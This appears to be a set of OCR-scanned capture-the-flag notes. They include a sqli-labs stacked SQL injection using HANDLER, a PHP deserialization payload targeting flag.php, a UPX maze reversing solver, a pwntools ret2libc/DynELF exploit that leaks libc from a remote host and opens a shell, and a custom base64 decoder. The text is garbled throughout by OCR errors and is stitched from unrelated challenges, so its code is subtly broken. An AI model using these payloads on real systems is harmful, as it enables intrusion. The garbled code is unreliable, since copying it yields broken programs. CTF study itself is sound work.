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base64—base32—base16—base58

sqli-labs 0

url Z R gmiggad #E B E N handler X% select

id=1%2527;handler%20" uziuzi' %200pen%20as%20okami;handler%20okami%20read

%20first;handler%20okami%20close;

H 4 & 7514

path=0:4:"home":2:{s:12:"%00home%00method";s:5:"mysys";s:10:"%00home%00args";a:1:

{i:0;s:8:"flag.php";}}

easy_maze

upx -d it 5%

httpsv//blog.csdn.net/qq 41743240/article/details/106780199

— A EE WSAD N LTS, ks WSAD &2 L T EAME

data:0041A009 aBbbbbbbbbbb db 'BBBEBBBBBEB',®
data:0041A015 aAbbaaabbbbbb db 'ABBAAABBBBBB', 0
data: 00414022 aAbbabaaabbaa db 'ABBABAAABBAA', 0
data:0041A02F aAbbabababbba db 'ABBABABABBBA', 0
data:0041A03C aAaaabababbba db 'AAAABABABBBA', 0
data:0041~A049 aBbbbbabbbaaa db 'BBEBEBABBBAAA', 0
data:0041A056 aBaaaaabbbabb db 'BAAAAABBBABB', 0
data:0041A063 aBabbbbbaaaaa db 'BABBEBBBAAAAA', O
data:0041A070 aBaaaaababbab db 'BAAAAABABBAB', 0
data:0041A07D aBbbabababbab db 'BBBABABABBAB', 0
data:0041A08A aBbbbbababbab db 'BBBBBABABBAB', 0
data:0041A097 aBbbaaaaabbae db 'BEBAAAAAEBAE', O
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str_1="11112223332211111444411222211122333322211112"

one="W'
two="A"
three="'S"'
four='D"

def one_fun():
global one,three
a=one
one=three
three=a

def four_fun():
global one,two,three,four
a=four
four=three
three=two
two=one
one=a

def three_fun():
global one,two,three,four
a=two
two=four
four=a
b=one
one=three
three=b

def two_fun():
global one,two,three,four
a=one
one=two
two=three
three=four
four=a

str=[0 for i in range(44)]
for i in range(len(str_1)):

if str_1[i]=="3":
str[i]=one
one_fun()

if str_1[i]=="2":
str[i]=Ffour
four_fun()

if str_1[i]=="1":
str[i]=three



three_fun()

if str_1[i]=="4":
str[i]=two
two_fun()

#md5=e2b941441061db08695065331d44b59e

print ''.join(str)

w5 md5 #1732 flag: e2b94144f06fdb08695065331d44b59%

ret2 temp

Flibc) DynELFit 5%

#coding:utf-8
from pwn import *

#tp=process("./pwn")
p=remote('118.31.11.216", '36666")
elfl=ELF("./pwn")

write_addr=elfl.symbols['write']
read_addr=elfl.symbols[ 'read']
main_addr=0x804851F
binsh_addr=elfl.bss()
pppt_addr=0x08048618 #pppt itk (pop ebx)
def leak(addr):

p.recv()

#write(fd, addr, len)
payload='a'*112+p32(write_addr)+p32(main_addr)+p32(1)+p32(addr)+p32(4)
p.sendline(payload)
data=p.recv(4)

#print data
return data

d=DynELF(leak,elf=elf1)
sys_add=d.lookup("system","libc")
log.success("system"+str(hex(sys_add)))
p.recv()

#payload="a'*112+p32(read_addr)+p32(pppt_addr)+p32(0)+p32(binsh_addr)+p32(8)+p32(sys_add)+p32(0xdeadbeef)+p
payload="'A"*112+p32(read_addr)+p32(sys_add)+p32(0)+p32(binsh_addr)+p32(8)+'AAAA"'+p32(binsh_addr)
p.sendline(payload)

p.sendline("/bin/sh\x00")

p.interactive()
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.rdata:0040B330 aSorry db 'sorry!!',® ) DATA XREF: sub_4023C0+58E10
rdata:0040B338 aleg7ul9kuvesv2 db '"OEG7U19kUvCsV29qzT9qcUm@yDCwy2CiWjoruzor', 0

.rdata:0040B338 T DRI ARET . SuavZoerTaB2io
.rdata:0040B361 aYes db 'yes',® ; DATA XREF: sub_4023C0+3E510
.rdata:0040B365 align 4

rdata:0040B368 off_40B368 dd offset loc_402840 ; DATA XREF: sub_4023C0+12B1r
.rdata:0040B368 dd offset loc_402940 ; Jump table for switch statement

dd offset loc_4029C0

dd offset loc_4024F2

.rdata:0040B dd offset loc_402620

rdata:0040B37C aZyxabcdefghijk db 'ZYXABCDEFGHIJKLMNOPQORSTUVWzyxabcdefghijk lmnopgrstuvw®123456789+/"',0
.rdata:0040B37C ; DATA XREF: sub_402CC0+5C10

.rdata:0040B
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# coding:utf-8

#s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz@0123456789+/"
s = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw@123456789+/"
def My base64 _encode(inputs):

# KR B R R 20

bin_str = []

for i in inputs:

x = str(bin(ord(i))).replace('eb', '")

bin_str.append('{:0>8}"'.format(x))
#print(bin_str)

# WHRFRFER

outputs = ""

# AME=EE, FASFHRE
nums = 0

while bin_str:
HFIRI=ANFRF 1 Z 3t
temp_list = bin_str[:3]
if(len(temp_list) != 3):
nums = 3 - len(temp_list)
while len(temp_list) < 3:
temp_list += ['©' * 8]

temp_str = "".join(temp_list)

#print (temp_str)

# BEANSFATI ZHE b B ATk

temp_str_list = []

for i in range(0,4):
temp_str_list.append(int(temp_str[i*6:(i+1)*6],2))

#tprint(temp_str_list)

if nums:

temp_str_list = temp_str_list[@:4 - nums]

for i in temp_str_list:
outputs += s[i]
bin_str = bin_str[3:]

outputs += nums * '=
print("Encrypted String:\n%s "%outputs)

def My_base64_decode(inputs):
# BB 28
bin_str = []
for i in inputs:
ifil="=":
x = str(bin(s.index(i))).replace('eb', "'')
bin_str.append('{:0>6}"'.format(x))
#nrint(hin <tr)



BP0 SIS\ SIS0
# WHRFERS
outputs = ""
nums = inputs.count('=")
while bin_str:
temp_list = bin_str[:4]

temp_str = .join(temp_list)
#print(temp_str)
# FhESHLFY
if(len(temp_str) % 8 != 0):
temp_str = temp_str[0:-1 * nums * 2]
# KA 67 B i B BN = AN A
for i in range(@,int(len(temp_str) / 8)):
outputs += chr(int(temp_str[i*8:(i+1)*8],2))
bin_str = bin_str[4:]
print("Decrypted String:\n%s "%outputs)

print()
pr\int(" *************************************")
print(" & (1)encode (2)decode *)
pr\int(" *************************************")
print()

num = input("Please select the operation you want to perform:\n")

if(num == "1"):

input_str = raw_input("Please enter a string that needs to be encrypted: \n")
My_base64_encode(input_str)
else:

input_str = raw_input("Please enter a string that needs to be decrypted: \n")
My_base64_decode(input_str)
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